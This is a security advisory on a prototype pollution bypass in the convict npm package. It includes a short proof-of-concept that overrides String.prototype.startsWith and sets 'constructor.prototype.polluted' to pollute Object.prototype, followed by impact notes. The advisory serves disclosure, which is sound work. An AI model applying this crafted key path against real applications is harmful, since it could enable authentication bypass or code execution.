Convict has Prototype Pollution via startsWith() function

Summary

A prototype pollution vulnerability exists in the latest version of the convict npm package (6.2.4). Despite a previous fix that attempted to mitigate prototype pollution by checking whether user input started with a forbidden key, it is still possible to pollute Object.prototype via a crafted input using String.prototype.

Details

The vulnerability resides in line 564 of https://github.com/mozilla/node-convict/blob/master/packages/convict/src/main.js where startsWith() function is used to check whether user provided input contain forbidden strings.

PoC

Steps to reproduce

1. Install latest version of convict using npm install or cloning from git
2. Run the following code snippet:

String.prototype.startsWith = () => false; 
const convict = require('convict');
let obj = {};
const config = convict(obj);
console.log({}.polluted);
config.set('constructor.prototype.polluted', 'yes');
console.log({}.polluted);    // prints yes -> the patch is bypassed and prototype pollution occurred

Expected behavior

Prototype pollution should be prevented and {} should not gain new properties.
This should be printed on the console:

undefined
undefined OR throw an Error

Actual behavior

Object.prototype is polluted
This is printed on the console:

undefined 
yes

Impact

This is a prototype pollution vulnerability, which can have severe security implications depending on how convict is used by downstream applications. Any application that processes attacker-controlled input using convict.set may be affected.
It could potentially lead to the following problems:

1. Authentication bypass
2. Denial of service
3. Remote code execution (if polluted property is passed to sinks like eval or child_process)